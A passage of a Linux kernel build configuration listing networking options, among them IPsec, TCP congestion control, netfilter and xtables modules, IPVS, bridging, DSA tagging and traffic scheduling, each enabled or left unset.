CONFIG_XFRM_IPTFS=y
CONFIG_XFRM_ESPINTCP=y
CONFIG_SMC=y
CONFIG_SMC_DIAG=y
# CONFIG_SMC_HS_CTRL_BPF is not set
CONFIG_DIBS=y
CONFIG_DIBS_LO=y
CONFIG_XDP_SOCKETS=y
CONFIG_XDP_SOCKETS_DIAG=y
CONFIG_NET_HANDSHAKE=y
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
CONFIG_IP_ADVANCED_ROUTER=y
CONFIG_IP_FIB_TRIE_STATS=y
CONFIG_IP_MULTIPLE_TABLES=y
CONFIG_IP_ROUTE_MULTIPATH=y
CONFIG_IP_ROUTE_VERBOSE=y
CONFIG_IP_ROUTE_CLASSID=y
CONFIG_IP_PNP=y
CONFIG_IP_PNP_DHCP=y
CONFIG_IP_PNP_BOOTP=y
CONFIG_IP_PNP_RARP=y
CONFIG_NET_IPIP=y
CONFIG_NET_IPGRE_DEMUX=y
CONFIG_NET_IP_TUNNEL=y
CONFIG_NET_IPGRE=y
CONFIG_NET_IPGRE_BROADCAST=y
CONFIG_IP_MROUTE_COMMON=y
CONFIG_IP_MROUTE=y
CONFIG_IP_MROUTE_MULTIPLE_TABLES=y
CONFIG_IP_PIMSM_V1=y
CONFIG_IP_PIMSM_V2=y
CONFIG_SYN_COOKIES=y
CONFIG_NET_IPVTI=y
CONFIG_NET_UDP_TUNNEL=y
CONFIG_NET_FOU=y
CONFIG_NET_FOU_IP_TUNNELS=y
CONFIG_INET_AH=y
CONFIG_INET_ESP=y
CONFIG_INET_ESP_OFFLOAD=y
CONFIG_INET_ESPINTCP=y
CONFIG_INET_IPCOMP=y
CONFIG_INET_TABLE_PERTURB_ORDER=16
CONFIG_INET_XFRM_TUNNEL=y
CONFIG_INET_TUNNEL=y
CONFIG_INET_DIAG=y
CONFIG_INET_TCP_DIAG=y
CONFIG_INET_UDP_DIAG=y
CONFIG_INET_RAW_DIAG=y
CONFIG_INET_DIAG_DESTROY=y
CONFIG_TCP_CONG_ADVANCED=y
CONFIG_TCP_CONG_BIC=y
CONFIG_TCP_CONG_CUBIC=y
CONFIG_TCP_CONG_WESTWOOD=y
CONFIG_TCP_CONG_HTCP=y
CONFIG_TCP_CONG_HSTCP=y
CONFIG_TCP_CONG_HYBLA=y
CONFIG_TCP_CONG_VEGAS=y
CONFIG_TCP_CONG_NV=y
CONFIG_TCP_CONG_SCALABLE=y
CONFIG_TCP_CONG_LP=y
CONFIG_TCP_CONG_VENO=y
CONFIG_TCP_CONG_YEAH=y
CONFIG_TCP_CONG_ILLINOIS=y
CONFIG_TCP_CONG_DCTCP=y
CONFIG_TCP_CONG_CDG=y
CONFIG_TCP_CONG_BBR=y
# CONFIG_DEFAULT_BIC is not set
CONFIG_DEFAULT_CUBIC=y
# CONFIG_DEFAULT_HTCP is not set
# CONFIG_DEFAULT_HYBLA is not set
# CONFIG_DEFAULT_VEGAS is not set
# CONFIG_DEFAULT_VENO is not set
# CONFIG_DEFAULT_WESTWOOD is not set
# CONFIG_DEFAULT_DCTCP is not set
# CONFIG_DEFAULT_CDG is not set
# CONFIG_DEFAULT_BBR is not set
# CONFIG_DEFAULT_RENO is not set
CONFIG_DEFAULT_TCP_CONG="cubic"
# CONFIG_TCP_AO is not set
CONFIG_TCP_MD5SIG=y
CONFIG_IPV6=y
CONFIG_IPV6_ROUTER_PREF=y
CONFIG_IPV6_ROUTE_INFO=y
CONFIG_IPV6_OPTIMISTIC_DAD=y
CONFIG_INET6_AH=y
CONFIG_INET6_ESP=y
CONFIG_INET6_ESP_OFFLOAD=y
CONFIG_INET6_ESPINTCP=y
CONFIG_INET6_IPCOMP=y
CONFIG_IPV6_MIP6=y
CONFIG_IPV6_ILA=y
CONFIG_INET6_XFRM_TUNNEL=y
CONFIG_INET6_TUNNEL=y
CONFIG_IPV6_VTI=y
CONFIG_IPV6_SIT=y
CONFIG_IPV6_SIT_6RD=y
CONFIG_IPV6_NDISC_NODETYPE=y
CONFIG_IPV6_TUNNEL=y
CONFIG_IPV6_GRE=y
CONFIG_IPV6_FOU=y
CONFIG_IPV6_FOU_TUNNEL=y
CONFIG_IPV6_MULTIPLE_TABLES=y
CONFIG_IPV6_SUBTREES=y
CONFIG_IPV6_MROUTE=y
CONFIG_IPV6_MROUTE_MULTIPLE_TABLES=y
CONFIG_IPV6_PIMSM_V2=y
CONFIG_IPV6_SEG6_LWTUNNEL=y
CONFIG_IPV6_SEG6_HMAC=y
CONFIG_IPV6_SEG6_BPF=y
CONFIG_IPV6_RPL_LWTUNNEL=y
# CONFIG_IPV6_IOAM6_LWTUNNEL is not set
CONFIG_NETLABEL=y
CONFIG_MPTCP=y
CONFIG_INET_MPTCP_DIAG=y
CONFIG_MPTCP_IPV6=y
CONFIG_NETWORK_SECMARK=y
CONFIG_NET_PTP_CLASSIFY=y
# CONFIG_NETWORK_PHY_TIMESTAMPING is not set
CONFIG_NETFILTER=y
CONFIG_NETFILTER_ADVANCED=y
CONFIG_BRIDGE_NETFILTER=y

#
# Core Netfilter Configuration
#
CONFIG_NETFILTER_INGRESS=y
CONFIG_NETFILTER_EGRESS=y
CONFIG_NETFILTER_SKIP_EGRESS=y
CONFIG_NETFILTER_NETLINK=y
CONFIG_NETFILTER_FAMILY_BRIDGE=y
CONFIG_NETFILTER_FAMILY_ARP=y
CONFIG_NETFILTER_BPF_LINK=y
# CONFIG_NETFILTER_NETLINK_HOOK is not set
CONFIG_NETFILTER_NETLINK_ACCT=y
CONFIG_NETFILTER_NETLINK_QUEUE=y
CONFIG_NETFILTER_NETLINK_LOG=y
CONFIG_NETFILTER_NETLINK_OSF=y
CONFIG_NF_CONNTRACK=y
CONFIG_NF_LOG_SYSLOG=y
CONFIG_NETFILTER_CONNCOUNT=y
CONFIG_NF_CONNTRACK_MARK=y
CONFIG_NF_CONNTRACK_SECMARK=y
CONFIG_NF_CONNTRACK_ZONES=y
# CONFIG_NF_CONNTRACK_PROCFS is not set
CONFIG_NF_CONNTRACK_EVENTS=y
CONFIG_NF_CONNTRACK_TIMEOUT=y
CONFIG_NF_CONNTRACK_TIMESTAMP=y
CONFIG_NF_CONNTRACK_LABELS=y
CONFIG_NF_CONNTRACK_OVS=y
CONFIG_NF_CT_PROTO_GRE=y
CONFIG_NF_CT_PROTO_SCTP=y
CONFIG_NF_CONNTRACK_AMANDA=y
CONFIG_NF_CONNTRACK_FTP=y
CONFIG_NF_CONNTRACK_H323=y
CONFIG_NF_CONNTRACK_IRC=y
CONFIG_NF_CONNTRACK_BROADCAST=y
CONFIG_NF_CONNTRACK_NETBIOS_NS=y
CONFIG_NF_CONNTRACK_SNMP=y
CONFIG_NF_CONNTRACK_PPTP=y
CONFIG_NF_CONNTRACK_SANE=y
CONFIG_NF_CONNTRACK_SIP=y
CONFIG_NF_CONNTRACK_TFTP=y
CONFIG_NF_CT_NETLINK=y
CONFIG_NF_CT_NETLINK_TIMEOUT=y
CONFIG_NF_CT_NETLINK_HELPER=y
CONFIG_NETFILTER_NETLINK_GLUE_CT=y
CONFIG_NF_NAT=y
CONFIG_NF_NAT_AMANDA=y
CONFIG_NF_NAT_FTP=y
CONFIG_NF_NAT_IRC=y
CONFIG_NF_NAT_SIP=y
CONFIG_NF_NAT_TFTP=y
CONFIG_NF_NAT_REDIRECT=y
CONFIG_NF_NAT_MASQUERADE=y
CONFIG_NF_NAT_OVS=y
CONFIG_NETFILTER_SYNPROXY=y
CONFIG_NF_TABLES=y
CONFIG_NF_TABLES_INET=y
CONFIG_NF_TABLES_NETDEV=y
CONFIG_NFT_NUMGEN=y
CONFIG_NFT_CT=y
CONFIG_NFT_EXTHDR_DCCP=y
CONFIG_NFT_FLOW_OFFLOAD=y
CONFIG_NFT_CONNLIMIT=y
CONFIG_NFT_LOG=y
CONFIG_NFT_LIMIT=y
CONFIG_NFT_MASQ=y
CONFIG_NFT_REDIR=y
CONFIG_NFT_NAT=y
CONFIG_NFT_TUNNEL=y
CONFIG_NFT_QUEUE=y
CONFIG_NFT_QUOTA=y
CONFIG_NFT_REJECT=y
CONFIG_NFT_REJECT_INET=y
CONFIG_NFT_COMPAT=y
CONFIG_NFT_HASH=y
CONFIG_NFT_FIB=y
CONFIG_NFT_FIB_INET=y
CONFIG_NFT_XFRM=y
CONFIG_NFT_SOCKET=y
CONFIG_NFT_OSF=y
CONFIG_NFT_TPROXY=y
CONFIG_NFT_SYNPROXY=y
CONFIG_NF_DUP_NETDEV=y
CONFIG_NFT_DUP_NETDEV=y
CONFIG_NFT_FWD_NETDEV=y
CONFIG_NFT_FIB_NETDEV=y
CONFIG_NFT_REJECT_NETDEV=y
CONFIG_NF_FLOW_TABLE_INET=y
CONFIG_NF_FLOW_TABLE=y
# CONFIG_NF_FLOW_TABLE_PROCFS is not set
CONFIG_NETFILTER_XTABLES=y
CONFIG_NETFILTER_XTABLES_COMPAT=y
CONFIG_NETFILTER_XTABLES_LEGACY=y

#
# Xtables combined modules
#
CONFIG_NETFILTER_XT_MARK=y
CONFIG_NETFILTER_XT_CONNMARK=y
CONFIG_NETFILTER_XT_SET=y

#
# Xtables targets
#
CONFIG_NETFILTER_XT_TARGET_AUDIT=y
CONFIG_NETFILTER_XT_TARGET_CHECKSUM=y
CONFIG_NETFILTER_XT_TARGET_CLASSIFY=y
CONFIG_NETFILTER_XT_TARGET_CONNMARK=y
CONFIG_NETFILTER_XT_TARGET_CONNSECMARK=y
CONFIG_NETFILTER_XT_TARGET_CT=y
CONFIG_NETFILTER_XT_TARGET_DSCP=y
CONFIG_NETFILTER_XT_TARGET_HL=y
CONFIG_NETFILTER_XT_TARGET_HMARK=y
CONFIG_NETFILTER_XT_TARGET_IDLETIMER=y
CONFIG_NETFILTER_XT_TARGET_LED=y
CONFIG_NETFILTER_XT_TARGET_LOG=y
CONFIG_NETFILTER_XT_TARGET_MARK=y
CONFIG_NETFILTER_XT_NAT=y
CONFIG_NETFILTER_XT_TARGET_NETMAP=y
CONFIG_NETFILTER_XT_TARGET_NFLOG=y
CONFIG_NETFILTER_XT_TARGET_NFQUEUE=y
CONFIG_NETFILTER_XT_TARGET_NOTRACK=y
CONFIG_NETFILTER_XT_TARGET_RATEEST=y
CONFIG_NETFILTER_XT_TARGET_REDIRECT=y
CONFIG_NETFILTER_XT_TARGET_MASQUERADE=y
CONFIG_NETFILTER_XT_TARGET_TEE=y
CONFIG_NETFILTER_XT_TARGET_TPROXY=y
CONFIG_NETFILTER_XT_TARGET_TRACE=y
CONFIG_NETFILTER_XT_TARGET_SECMARK=y
CONFIG_NETFILTER_XT_TARGET_TCPMSS=y
CONFIG_NETFILTER_XT_TARGET_TCPOPTSTRIP=y

#
# Xtables matches
#
CONFIG_NETFILTER_XT_MATCH_ADDRTYPE=y
CONFIG_NETFILTER_XT_MATCH_BPF=y
CONFIG_NETFILTER_XT_MATCH_CGROUP=y
CONFIG_NETFILTER_XT_MATCH_CLUSTER=y
CONFIG_NETFILTER_XT_MATCH_COMMENT=y
CONFIG_NETFILTER_XT_MATCH_CONNBYTES=y
CONFIG_NETFILTER_XT_MATCH_CONNLABEL=y
CONFIG_NETFILTER_XT_MATCH_CONNLIMIT=y
CONFIG_NETFILTER_XT_MATCH_CONNMARK=y
CONFIG_NETFILTER_XT_MATCH_CONNTRACK=y
CONFIG_NETFILTER_XT_MATCH_CPU=y
CONFIG_NETFILTER_XT_MATCH_DCCP=y
CONFIG_NETFILTER_XT_MATCH_DEVGROUP=y
CONFIG_NETFILTER_XT_MATCH_DSCP=y
CONFIG_NETFILTER_XT_MATCH_ECN=y
CONFIG_NETFILTER_XT_MATCH_ESP=y
CONFIG_NETFILTER_XT_MATCH_HASHLIMIT=y
CONFIG_NETFILTER_XT_MATCH_HELPER=y
CONFIG_NETFILTER_XT_MATCH_HL=y
CONFIG_NETFILTER_XT_MATCH_IPCOMP=y
CONFIG_NETFILTER_XT_MATCH_IPRANGE=y
CONFIG_NETFILTER_XT_MATCH_IPVS=y
CONFIG_NETFILTER_XT_MATCH_L2TP=y
CONFIG_NETFILTER_XT_MATCH_LENGTH=y
CONFIG_NETFILTER_XT_MATCH_LIMIT=y
CONFIG_NETFILTER_XT_MATCH_MAC=y
CONFIG_NETFILTER_XT_MATCH_MARK=y
CONFIG_NETFILTER_XT_MATCH_MULTIPORT=y
CONFIG_NETFILTER_XT_MATCH_NFACCT=y
CONFIG_NETFILTER_XT_MATCH_OSF=y
CONFIG_NETFILTER_XT_MATCH_OWNER=y
CONFIG_NETFILTER_XT_MATCH_POLICY=y
CONFIG_NETFILTER_XT_MATCH_PHYSDEV=y
CONFIG_NETFILTER_XT_MATCH_PKTTYPE=y
CONFIG_NETFILTER_XT_MATCH_QUOTA=y
CONFIG_NETFILTER_XT_MATCH_RATEEST=y
CONFIG_NETFILTER_XT_MATCH_REALM=y
CONFIG_NETFILTER_XT_MATCH_RECENT=y
CONFIG_NETFILTER_XT_MATCH_SCTP=y
CONFIG_NETFILTER_XT_MATCH_SOCKET=y
CONFIG_NETFILTER_XT_MATCH_STATE=y
CONFIG_NETFILTER_XT_MATCH_STATISTIC=y
CONFIG_NETFILTER_XT_MATCH_STRING=y
CONFIG_NETFILTER_XT_MATCH_TCPMSS=y
CONFIG_NETFILTER_XT_MATCH_TIME=y
CONFIG_NETFILTER_XT_MATCH_U32=y
# end of Core Netfilter Configuration

CONFIG_IP_SET=y
CONFIG_IP_SET_MAX=256
CONFIG_IP_SET_BITMAP_IP=y
CONFIG_IP_SET_BITMAP_IPMAC=y
CONFIG_IP_SET_BITMAP_PORT=y
CONFIG_IP_SET_HASH_IP=y
CONFIG_IP_SET_HASH_IPMARK=y
CONFIG_IP_SET_HASH_IPPORT=y
CONFIG_IP_SET_HASH_IPPORTIP=y
CONFIG_IP_SET_HASH_IPPORTNET=y
CONFIG_IP_SET_HASH_IPMAC=y
CONFIG_IP_SET_HASH_MAC=y
CONFIG_IP_SET_HASH_NETPORTNET=y
CONFIG_IP_SET_HASH_NET=y
CONFIG_IP_SET_HASH_NETNET=y
CONFIG_IP_SET_HASH_NETPORT=y
CONFIG_IP_SET_HASH_NETIFACE=y
CONFIG_IP_SET_LIST_SET=y
CONFIG_IP_VS=y
CONFIG_IP_VS_IPV6=y
# CONFIG_IP_VS_DEBUG is not set
CONFIG_IP_VS_TAB_BITS=12

#
# IPVS transport protocol load balancing support
#
CONFIG_IP_VS_PROTO_TCP=y
CONFIG_IP_VS_PROTO_UDP=y
CONFIG_IP_VS_PROTO_AH_ESP=y
CONFIG_IP_VS_PROTO_ESP=y
CONFIG_IP_VS_PROTO_AH=y
CONFIG_IP_VS_PROTO_SCTP=y

#
# IPVS scheduler
#
CONFIG_IP_VS_RR=y
CONFIG_IP_VS_WRR=y
CONFIG_IP_VS_LC=y
CONFIG_IP_VS_WLC=y
CONFIG_IP_VS_FO=y
CONFIG_IP_VS_OVF=y
CONFIG_IP_VS_LBLC=y
CONFIG_IP_VS_LBLCR=y
CONFIG_IP_VS_DH=y
CONFIG_IP_VS_SH=y
CONFIG_IP_VS_MH=y
CONFIG_IP_VS_SED=y
CONFIG_IP_VS_NQ=y
CONFIG_IP_VS_TWOS=y

#
# IPVS SH scheduler
#
CONFIG_IP_VS_SH_TAB_BITS=8

#
# IPVS MH scheduler
#
CONFIG_IP_VS_MH_TAB_INDEX=12

#
# IPVS application helper
#
CONFIG_IP_VS_FTP=y
CONFIG_IP_VS_NFCT=y
CONFIG_IP_VS_PE_SIP=y

#
# IP: Netfilter Configuration
#
CONFIG_NF_DEFRAG_IPV4=y
CONFIG_IP_NF_IPTABLES_LEGACY=y
CONFIG_NF_SOCKET_IPV4=y
CONFIG_NF_TPROXY_IPV4=y
CONFIG_NF_TABLES_IPV4=y
CONFIG_NFT_REJECT_IPV4=y
CONFIG_NFT_DUP_IPV4=y
CONFIG_NFT_FIB_IPV4=y
CONFIG_NF_TABLES_ARP=y
CONFIG_NF_DUP_IPV4=y
CONFIG_NF_LOG_ARP=y
CONFIG_NF_LOG_IPV4=y
CONFIG_NF_REJECT_IPV4=y
CONFIG_NF_NAT_SNMP_BASIC=y
CONFIG_NF_NAT_PPTP=y
CONFIG_NF_NAT_H323=y
CONFIG_IP_NF_IPTABLES=y
CONFIG_IP_NF_MATCH_AH=y
CONFIG_IP_NF_MATCH_ECN=y
CONFIG_IP_NF_MATCH_RPFILTER=y
CONFIG_IP_NF_MATCH_TTL=y
CONFIG_IP_NF_FILTER=y
CONFIG_IP_NF_TARGET_REJECT=y
CONFIG_IP_NF_TARGET_SYNPROXY=y
CONFIG_IP_NF_NAT=y
CONFIG_IP_NF_TARGET_MASQUERADE=y
CONFIG_IP_NF_TARGET_NETMAP=y
CONFIG_IP_NF_TARGET_REDIRECT=y
CONFIG_IP_NF_MANGLE=y
CONFIG_IP_NF_TARGET_ECN=y
CONFIG_IP_NF_TARGET_TTL=y
CONFIG_IP_NF_RAW=y
CONFIG_IP_NF_SECURITY=y
CONFIG_IP_NF_ARPTABLES=y
CONFIG_NFT_COMPAT_ARP=y
CONFIG_IP_NF_ARPFILTER=y
CONFIG_IP_NF_ARP_MANGLE=y
# end of IP: Netfilter Configuration

#
# IPv6: Netfilter Configuration
#
CONFIG_IP6_NF_IPTABLES_LEGACY=y
CONFIG_NF_SOCKET_IPV6=y
CONFIG_NF_TPROXY_IPV6=y
CONFIG_NF_TABLES_IPV6=y
CONFIG_NFT_REJECT_IPV6=y
CONFIG_NFT_DUP_IPV6=y
CONFIG_NFT_FIB_IPV6=y
CONFIG_NF_DUP_IPV6=y
CONFIG_NF_REJECT_IPV6=y
CONFIG_NF_LOG_IPV6=y
CONFIG_IP6_NF_IPTABLES=y
CONFIG_IP6_NF_MATCH_AH=y
CONFIG_IP6_NF_MATCH_EUI64=y
CONFIG_IP6_NF_MATCH_FRAG=y
CONFIG_IP6_NF_MATCH_OPTS=y
CONFIG_IP6_NF_MATCH_HL=y
CONFIG_IP6_NF_MATCH_IPV6HEADER=y
CONFIG_IP6_NF_MATCH_MH=y
CONFIG_IP6_NF_MATCH_RPFILTER=y
CONFIG_IP6_NF_MATCH_RT=y
CONFIG_IP6_NF_MATCH_SRH=y
CONFIG_IP6_NF_TARGET_HL=y
CONFIG_IP6_NF_FILTER=y
CONFIG_IP6_NF_TARGET_REJECT=y
CONFIG_IP6_NF_TARGET_SYNPROXY=y
CONFIG_IP6_NF_MANGLE=y
CONFIG_IP6_NF_RAW=y
CONFIG_IP6_NF_SECURITY=y
CONFIG_IP6_NF_NAT=y
CONFIG_IP6_NF_TARGET_MASQUERADE=y
CONFIG_IP6_NF_TARGET_NPT=y
# end of IPv6: Netfilter Configuration

CONFIG_NF_DEFRAG_IPV6=y
CONFIG_NF_TABLES_BRIDGE=y
CONFIG_NFT_BRIDGE_META=y
CONFIG_NFT_BRIDGE_REJECT=y
CONFIG_NF_CONNTRACK_BRIDGE=y
CONFIG_BRIDGE_NF_EBTABLES_LEGACY=y
CONFIG_BRIDGE_NF_EBTABLES=y
CONFIG_BRIDGE_EBT_BROUTE=y
CONFIG_BRIDGE_EBT_T_FILTER=y
CONFIG_BRIDGE_EBT_T_NAT=y
CONFIG_BRIDGE_EBT_802_3=y
CONFIG_BRIDGE_EBT_AMONG=y
CONFIG_BRIDGE_EBT_ARP=y
CONFIG_BRIDGE_EBT_IP=y
CONFIG_BRIDGE_EBT_IP6=y
CONFIG_BRIDGE_EBT_LIMIT=y
CONFIG_BRIDGE_EBT_MARK=y
CONFIG_BRIDGE_EBT_PKTTYPE=y
CONFIG_BRIDGE_EBT_STP=y
CONFIG_BRIDGE_EBT_VLAN=y
CONFIG_BRIDGE_EBT_ARPREPLY=y
CONFIG_BRIDGE_EBT_DNAT=y
CONFIG_BRIDGE_EBT_MARK_T=y
CONFIG_BRIDGE_EBT_REDIRECT=y
CONFIG_BRIDGE_EBT_SNAT=y
CONFIG_BRIDGE_EBT_LOG=y
CONFIG_BRIDGE_EBT_NFLOG=y
CONFIG_IP_SCTP=y
# CONFIG_SCTP_DBG_OBJCNT is not set
CONFIG_SCTP_DEFAULT_COOKIE_HMAC_SHA256=y
# CONFIG_SCTP_DEFAULT_COOKIE_HMAC_NONE is not set
CONFIG_INET_SCTP_DIAG=y
CONFIG_RDS=y
CONFIG_RDS_RDMA=y
CONFIG_RDS_TCP=y
# CONFIG_RDS_DEBUG is not set
CONFIG_TIPC=y
CONFIG_TIPC_MEDIA_IB=y
CONFIG_TIPC_MEDIA_UDP=y
CONFIG_TIPC_CRYPTO=y
CONFIG_TIPC_DIAG=y
CONFIG_ATM=y
CONFIG_ATM_BR2684=y
# CONFIG_ATM_BR2684_IPFILTER is not set
CONFIG_L2TP=y
# CONFIG_L2TP_DEBUGFS is not set
CONFIG_L2TP_V3=y
CONFIG_L2TP_IP=y
CONFIG_L2TP_ETH=y
CONFIG_STP=y
CONFIG_GARP=y
CONFIG_MRP=y
CONFIG_BRIDGE=y
CONFIG_BRIDGE_IGMP_SNOOPING=y
CONFIG_BRIDGE_VLAN_FILTERING=y
CONFIG_BRIDGE_MRP=y
CONFIG_BRIDGE_CFM=y
CONFIG_NET_DSA=y
# CONFIG_NET_DSA_TAG_NONE is not set
# CONFIG_NET_DSA_TAG_AR9331 is not set
CONFIG_NET_DSA_TAG_BRCM_COMMON=y
CONFIG_NET_DSA_TAG_BRCM=y
# CONFIG_NET_DSA_TAG_BRCM_LEGACY is not set
# CONFIG_NET_DSA_TAG_BRCM_LEGACY_FCS is not set
CONFIG_NET_DSA_TAG_BRCM_PREPEND=y
# CONFIG_NET_DSA_TAG_HELLCREEK is not set
# CONFIG_NET_DSA_TAG_GSWIP is not set
# CONFIG_NET_DSA_TAG_DSA is not set
# CONFIG_NET_DSA_TAG_EDSA is not set
# CONFIG_NET_DSA_TAG_MT7628 is not set
CONFIG_NET_DSA_TAG_MTK=y
# CONFIG_NET_DSA_TAG_MXL_862XX is not set
# CONFIG_NET_DSA_TAG_MXL_GSW1XX is not set
# CONFIG_NET_DSA_TAG_KSZ is not set
# CONFIG_NET_DSA_TAG_NETC is not set
# CONFIG_NET_DSA_TAG_OCELOT is not set
# CONFIG_NET_DSA_TAG_OCELOT_8021Q is not set
CONFIG_NET_DSA_TAG_QCA=y
CONFIG_NET_DSA_TAG_RTL4_A=y
# CONFIG_NET_DSA_TAG_RTL8_4 is not set
# CONFIG_NET_DSA_TAG_RZN1_A5PSW is not set
# CONFIG_NET_DSA_TAG_LAN9303 is not set
# CONFIG_NET_DSA_TAG_SJA1105 is not set
# CONFIG_NET_DSA_TAG_TRAILER is not set
# CONFIG_NET_DSA_TAG_VSC73XX_8021Q is not set
# CONFIG_NET_DSA_TAG_XRS700X is not set
# CONFIG_NET_DSA_TAG_YT921X is not set
CONFIG_VLAN_8021Q=y
CONFIG_VLAN_8021Q_GVRP=y
CONFIG_VLAN_8021Q_MVRP=y
CONFIG_LLC=y
CONFIG_LLC2=y
CONFIG_X25=y
CONFIG_LAPB=y
CONFIG_PHONET=y
CONFIG_6LOWPAN=y
# CONFIG_6LOWPAN_DEBUGFS is not set
CONFIG_6LOWPAN_NHC=y
CONFIG_6LOWPAN_NHC_DEST=y
CONFIG_6LOWPAN_NHC_FRAGMENT=y
CONFIG_6LOWPAN_NHC_HOP=y
CONFIG_6LOWPAN_NHC_IPV6=y
CONFIG_6LOWPAN_NHC_MOBILITY=y
CONFIG_6LOWPAN_NHC_ROUTING=y
CONFIG_6LOWPAN_NHC_UDP=y
CONFIG_6LOWPAN_GHC_EXT_HDR_HOP=y
CONFIG_6LOWPAN_GHC_UDP=y
CONFIG_6LOWPAN_GHC_ICMPV6=y
CONFIG_6LOWPAN_GHC_EXT_HDR_DEST=y
CONFIG_6LOWPAN_GHC_EXT_HDR_FRAG=y
CONFIG_6LOWPAN_GHC_EXT_HDR_ROUTE=y
CONFIG_IEEE802154=y
CONFIG_IEEE802154_NL802154_EXPERIMENTAL=y
CONFIG_IEEE802154_SOCKET=y
CONFIG_IEEE802154_6LOWPAN=y
CONFIG_MAC802154=y
CONFIG_NET_SCHED=y

#
# Queueing/Scheduling
#
CONFIG_NET_SCH_HTB=y
CONFIG_NET_SCH_HFSC=y
CONFIG_NET_SCH_PRIO=y
CONFIG_NET_SCH_MULTIQ=y
CONFIG_NET_SCH_RED=y
CONFIG_NET_SCH_SFB=y
CONFIG_NET_SCH_SFQ=y
CONFIG_NET_SCH_TEQL=y
CONFIG_NET_SCH_TBF=y
CONFIG_NET_SCH_CBS=y
CONFIG_NET_SCH_ETF=y
CONFIG_NET_SCH_MQPRIO_LIB=y
CONFIG_NET_SCH_TAPRIO=y
CONFIG_NET_SCH_GRED=y
CONFIG_NET_SCH_NETEM=y
CONFIG_NET_SCH_DRR=y
CONFIG_NET_SCH_MQPRIO=y
CONFIG_NET_SCH_SKBPRIO=y
CONFIG_NET_SCH_CHOKE=y
CONFIG_NET_SCH_QFQ=y
CONFIG_NET_SCH_CODEL=y
CONFIG_NET_SCH_FQ_CODEL=y
CONFIG_NET_SCH_CAKE=y
CONFIG_NET_SCH_FQ=y
CONFIG_NET_SCH_HHF=y
CONFIG_NET_SCH_PIE=y
CONFIG_NET_SCH_FQ_PIE=y
CONFIG_NET_SCH_INGRESS=y
CONFIG_NET_SCH_PLUG=y
CONFIG_NET_SCH_ETS=y
# CONFIG_NET_SCH_DUALPI2 is not set
CONFIG_NET_SCH_DEFAULT=y
# CONFIG_DEFAULT_FQ is not set
CONFIG_DEFAULT_CODEL=y
# CONFIG_DEFAULT_FQ_CODEL is not set
# CONFIG_DEFAULT_FQ_PIE is not set
# CONFIG_DEFAULT_SFQ is not set
# CONFIG_DEFAULT_PFIFO_FAST is not set
CONFIG_DEFAULT_NET_SCH="pfifo_fast"

#
# Classification
#
CONFIG_NET_CLS=y
CONFIG_NET_CLS_BASIC=y
CONFIG_NET_CLS_ROUTE4=y
CONFIG_NET_CLS_FW=y
CONFIG_NET_CLS_U32=y
CONFIG_CLS_U32_PERF=y
CONFIG_CLS_U32_MARK=y
CONFIG_NET_CLS_FLOW=y
CONFIG_NET_CLS_CGROUP=y
CONFIG_NET_CLS_BPF=y
CONFIG_NET_CLS_FLOWER=y
CONFIG_NET_CLS_MATCHALL=y
CONFIG_NET_EMATCH=y
CONFIG_NET_EMATCH_STACK=32
CONFIG_NET_EMATCH_CMP=y
CONFIG_NET_EMATCH_NBYTE=y
CONFIG_NET_EMATCH_U32=y
CONFIG_NET_EMATCH_META=y
CONFIG_NET_EMATCH_TEXT=y
CONFIG_NET_EMATCH_CANID=y
CONFIG_NET_EMATCH_IPSET=y
CONFIG_NET_EMATCH_IPT=y
CONFIG_NET_CLS_ACT=y
CONFIG_NET_ACT_POLICE=y
CONFIG_NET_ACT_GACT=y
CONFIG_GACT_PROB=y
CONFIG_NET_ACT_MIRRED=y
CONFIG_NET_ACT_SAMPLE=y
CONFIG_NET_ACT_NAT=y
CONFIG_NET_ACT_PEDIT=y
CONFIG_NET_ACT_SIMP=y
CONFIG_NET_ACT_SKBEDIT=y
CONFIG_NET_ACT_CSUM=y
CONFIG_NET_ACT_MPLS=y
CONFIG_NET_ACT_VLAN=y
CONFIG_NET_ACT_BPF=y
CONFIG_NET_ACT_CONNMARK=y
CONFIG_NET_ACT_CTINFO=y
CONFIG_NET_ACT_SKBMOD=y
CONFIG_NET_ACT_IFE=y
CONFIG_NET_ACT_TUNNEL_KEY=y
CONFIG_NET_ACT_CT=y
CONFIG_NET_ACT_GATE=y
CONFIG_NET_IFE_SKBMARK=y
CONFIG_NET_IFE_SKBPRIO=y
CONFIG_NET_IFE_SKBTCINDEX=y
CONFIG_NET_TC_SKB_EXT=y
CONFIG_NET_SCH_FIFO=y
CONFIG_DCB=y
CONFIG_DNS_RESOLVER=y
CONFIG_BATMAN_ADV=y
CONFIG_BATMAN_ADV_BATMAN_V=y
CONFIG_BATMAN_ADV_BLA=y
CONFIG_BATMAN_ADV_DAT=y
CONFIG_BATMAN_ADV_MCAST=y
# CONFIG_BATMAN_ADV_DEBUG is not set
# CONFIG_BATMAN_ADV_TRACING is not set
CONFIG_OPENVSWITCH=y
CONFIG_VSOCKETS=y
CONFIG_VSOCKETS_DIAG=y
CONFIG_VSOCKETS_LOOPBACK=y
# CONFIG_VMWARE_VMCI_VSOCKETS is not set
CONFIG_VIRTIO_VSOCKETS=y
CONFIG_VIRTIO_VSOCKETS_COMMON=y
CONFIG_NETLINK_DIAG=y
CONFIG_MPLS=y
CONFIG_NET_MPLS_GSO=y
CONFIG_MPLS_ROUTING=y
CONFIG_MPLS_IPTUNNEL=y
CONFIG_NET_NSH=y
CONFIG_HSR=y
CONFIG_NET_SWITCHDEV=y
CONFIG_NET_L3_MASTER_DEV=y
CONFIG_QRTR=y
CONFIG_QRTR_TUN=y
# CONFIG_QRTR_MHI is not set
CONFIG_NET_NCSI=y
# CONFIG_NCSI_OEM_CMD_GET_MAC is not set
# CONFIG_NCSI_OEM_CMD_KEEP_PHY is not set
# CONFIG_PCPU_DEV_REFCNT is not set
CONFIG_MAX_SKB_FRAGS=17
CONFIG_RPS=y
CONFIG_RFS_ACCEL=y
CONFIG_SOCK_RX_QUEUE_MAPPING=y
CONFIG_XPS=y
CONFIG_CGROUP_NET_PRIO=y
CONFIG_CGROUP_NET_CLASSID=y
CONFIG_NET_RX_BUSY_POLL=y
CONFIG_BQL=y
CONFIG_NET_FLOW_LIMIT=y

#
# Network testing
#
# CONFIG_NET_PKTGEN is not set
CONFIG_NET_DROP_MONITOR=y
# end of Network testing
# end of Networking options

CONFIG_CAN=y
CONFIG_CAN_RAW=y
CONFIG_CAN_BCM=y
CONFIG_CAN_GW=y
CONFIG_CAN_J1939=y
CONFIG_CAN_ISOTP=y
CONFIG_BT=y
